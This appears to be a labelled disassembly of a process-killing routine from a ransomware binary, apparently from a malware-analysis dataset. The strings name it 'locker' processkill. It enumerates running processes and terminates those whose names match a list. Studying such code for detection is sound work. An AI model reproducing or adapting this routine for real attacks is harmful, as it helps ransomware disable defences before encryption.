Function at 0x4d44c0
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4b0
mov eax, dword [0x6d6b64]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 0
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
test eax, eax
je 0x4d4b6e
mov ebx, eax
lea eax, [ebp - 0x498]
push 0x208
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4bc], 0x22c
mov dword [ebp - 0x4b4], 0
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4b0], 0
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x49c], 0
mov dword [ebp - 0x4a0], 0
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x4d4609
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x290]
xor esi, esi
mov dword [ebp - 0x1c], 0
nop word cs:[eax + eax]
nop dword [eax]
push 0x22c
lea edi, [ebp - 0x4bc]
push edi
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x1c]
cmp esi, edx
jne 0x4d45cd
lea ecx, [ebp - 0x2c]
call fcn.00505780
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
imul eax, esi, 0x22c
add eax, dword [ebp - 0x18]
push 0x22c
mov edi, ebx
push ebx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
inc esi
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x24], esi
push eax
mov ebx, dword [ebp - 0x10]
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x4d460b
mov eax, dword [ebp - 0x28]
mov ebx, edi
mov dword [ebp - 0x1c], eax
jmp 0x4d45a0
xor esi, esi
push ebx
call sub.KERNEL32.dll_CloseHandle
test esi, esi
je 0x4d4b6e
imul eax, esi, 0x22c
lea edi, [ebp - 0x4bc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
jmp 0x4d4644
mov eax, dword [ebp - 0x18]
add eax, 0x22c
cmp eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
je 0x4d4b6e
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 8]
test eax, eax
je 0x4d4630
mov ecx, dword [ebp - 0x20]
lea eax, [eax + eax*2]
mov esi, dword [ecx]
lea eax, [esi + eax*4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
add eax, 0x24
mov dword [ebp - 0x40], eax
jmp 0x4d467b
cmp dword [ebp - 0x3c], esi
lea edi, [ebp - 0x4bc]
je 0x4d4630
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x48], esi
mov ecx, edi
mov edx, dword [esi]
mov eax, dword [esi + 8]
add eax, edx
push 0
push eax
call fcn.005079e0
add esp, 8
mov eax, dword [ebp - 0x4b4]
movsd xmm0, qword [ebp - 0x4bc]
lea ebx, [ebp - 0x290]
mov ecx, ebx
mov dword [ebp - 0x288], eax
movsd qword [ebp - 0x290], xmm0
call fcn.004d5680
mov ecx, dword [ebp - 0x40]
mov esi, eax
mov edi, edx
call fcn.004d5570
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], eax
mov ecx, ebx
mov dword [ebp - 0x10], esi
mov edx, esi
mov dword [ebp - 0x44], edi
push edi
call fcn.00600b20
add esp, 4
mov esi, dword [ebp - 0x290]
lea ecx, [ebp - 0x5c]
mov edx, esi
push dword [ebp - 0x288]
call fcn.0040a930
add esp, 4
cmp dword [ebp - 0x28c], 0
je 0x4d4713
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edx, dword [ebp - 0x34]
lea ecx, [ebp - 0x290]
push dword [ebp - 0x30]
call fcn.00600b20
add esp, 4
mov esi, dword [ebp - 0x290]
lea ecx, [ebp - 0x4bc]
mov edx, esi
push dword [ebp - 0x288]
call fcn.0040a930
add esp, 4
cmp dword [ebp - 0x28c], 0
je 0x4d475a
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edx, dword [ebp - 0x5c]
lea ecx, [ebp - 0x290]
push dword [ebp - 0x54]
call fcn.00600d60
add esp, 4
mov edx, dword [ebp - 0x288]
mov eax, dword [ebp - 0x4b4]
test edx, edx
je 0x4d4960
test eax, eax
je 0x4d4970
mov esi, dword [ebp - 0x4bc]
mov edi, dword [ebp - 0x290]
xor ecx, ecx
mov dword [ebp - 0x14], edx
add eax, esi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x4c], eax
jmp 0x4d47bc
inc ecx
mov eax, dword [ebp - 0x4c]
cmp esi, eax
je 0x4d498b
movzx ebx, byte [esi]
test bl, bl
js 0x4d47e0
inc esi
cmp ecx, edx
jb 0x4d4860
jmp 0x4d4980
movzx edx, byte [esi + 1]
mov eax, ebx
and eax, 0x1f
and edx, 0x3f
cmp bl, 0xdf
jbe 0x4d4831
movzx edi, byte [esi + 2]
shl edx, 6
and edi, 0x3f
or edi, edx
cmp bl, 0xf0
jb 0x4d4847
movzx ebx, byte [esi + 3]
and eax, 7
shl edi, 6
shl eax, 0x12
and ebx, 0x3f
or ebx, edi
or ebx, eax
cmp ebx, 0x110000
je 0x4d4988
mov edx, dword [ebp - 0x14]
add esi, 4
cmp ecx, edx
jb 0x4d4860
jmp 0x4d4980
shl eax, 6
add esi, 2
or eax, edx
mov edx, dword [ebp - 0x14]
mov ebx, eax
cmp ecx, edx
jb 0x4d4860
jmp 0x4d4980
mov edx, dword [ebp - 0x14]
shl eax, 0xc
add esi, 3
or edi, eax
mov ebx, edi
cmp ecx, edx
jae 0x4d4980
nop dword [eax]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + ecx*8]
cmp eax, 0x3f
je 0x4d47b0
cmp eax, 0x110000
setne dl
cmp ebx, 0x110000
setne dh
xor dh, dl
mov edx, dword [ebp - 0x14]
jne 0x4d48a6
cmp eax, 0x110000
je 0x4d47b0
cmp ebx, 0x110000
je 0x4d47b0
cmp eax, ebx
je 0x4d47b0
mov edi, dword [ebp - 0x1c]
cmp byte [edi + ecx*8 + 4], 0
je 0x4d48c0
cmp eax, 0x110000
jne 0x4d47b1
jmp 0x4d4984
test ecx, ecx
je 0x4d4980
mov eax, edx
lea edx, [ecx - 1]
cmp edx, eax
jae 0x4d48fc
mov eax, ecx
mov ecx, edx
mov edx, dword [ebp - 0x14]
add eax, 0xfffffffe
nop dword [eax + eax]
mov edi, dword [ebp - 0x1c]
cmp byte [edi + ecx*8 + 4], 0
jne 0x4d4906
sub ecx, 1
jb 0x4d4980
cmp eax, edx
jb 0x4d48e0
jmp 0x4d47b1
mov ecx, edx
mov edx, dword [ebp - 0x14]
jmp 0x4d47b1
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + ecx*8]
cmp eax, 0x3f
je 0x4d47b0
cmp eax, 0x110000
setne dl
cmp ebx, 0x110000
setne dh
xor dh, dl
je 0x4d4932
mov edx, dword [ebp - 0x14]
jmp 0x4d47b1
mov edx, dword [ebp - 0x14]
cmp eax, 0x110000
je 0x4d47b0
cmp ebx, 0x110000
je 0x4d47b0
cmp eax, ebx
jne 0x4d47b1
jmp 0x4d47b0
test eax, eax
jmp 0x4d49a0
xor ecx, ecx
jmp 0x4d4993
xor ebx, ebx
jmp 0x4d49a3
mov bl, 1
jmp 0x4d49a3
mov edx, dword [ebp - 0x14]
cmp edx, ecx
jbe 0x4d4c00
mov eax, dword [ebp - 0x290]
cmp dword [eax + ecx*8], 0x110000
sete bl
mov ecx, dword [ebp - 0x10]
test dword [ebp - 0x28c], 0x1fffffff
je 0x4d49c8
push dword [ebp - 0x290]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [ebp - 0x10]
test bl, bl
mov ebx, dword [ebp - 0x34]
je 0x4d4aec
mov eax, dword [ebp - 0x18]
push dword [eax + 8]
push 0
push 1
call sub.KERNEL32.dll_OpenProcess
mov ecx, dword [ebp - 0x10]
test eax, eax
je 0x4d4aec
mov ecx, dword [0x6f11c8]
mov esi, eax
cmp ecx, 2
jbe 0x4d4adb
lea eax, [ebp - 0x50]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], 0x55cec0
mov eax, dword [0x6f1080]
mov dword [ebp - 0x290], 3
mov dword [ebp - 0x28c], str.locker::core::os::windows::processkill
mov dword [ebp - 0x288], 0x22
mov dword [ebp - str.kill_all], 0x6214cc
mov dword [ebp - 0x280], 1
mov dword [ebp - 0x27c], 0
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
lea edx, [ebp - 0x64]
mov dword [ebp - 0x274], edx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x270], 1
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x264], 0x22
mov dword [ebp - 0x268], str.locker::core::os::windows::processkill
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x258], 0x1e
mov dword [ebp - 0x25c], str.src_core_os_windows_process.rs
mov dword [ebp - 0x254], 1
mov dword [ebp - 0x250], 0x44
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
push 9
push esi
call sub.KERNEL32.dll_TerminateProcess
push esi
call sub.KERNEL32.dll_CloseHandle
mov ecx, dword [ebp - 0x10]
cmp dword [ebp - 0x4b8], 0
je 0x4d4b0b
push dword [ebp - 0x4bc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [ebp - 0x10]
cmp dword [ebp - 0x58], 0
mov esi, dword [ebp - 0x48]
je 0x4d4b27
push dword [ebp - 0x5c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [ebp - 0x10]
test dword [ebp - 0x30], 0x7fffffff
mov word [ebx], 0
je 0x4d4b46
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [ebp - 0x10]
add esi, 0xc
test dword [ebp - 0x44], 0x7fffffff
mov word [ecx], 0
je 0x4d4670
push ecx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4d4670
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x4d4b8f
imul eax, eax, 0x22c
test eax, eax
je 0x4d4b8f
push dword [ebp - 0x2c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 8]
test eax, eax
je 0x4d4bcf
mov ecx, dword [ebp - 0x20]
shl eax, 2
lea edi, [eax + eax*2]
mov esi, dword [ecx]
add esi, 4
jmp 0x4d4bb8
add esi, 0xc
add edi, 0xfffffff4
je 0x4d4bcf
cmp dword [esi], 0
je 0x4d4bb0
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4d4bb0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 4]
test eax, eax
je 0x4d4bf5
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x4d4bf5
mov eax, dword [ebp - 0x20]
push dword [eax]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
add esp, 0x4b0
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x6dd41c
call fcn.0045a150
add esp, 4
ud2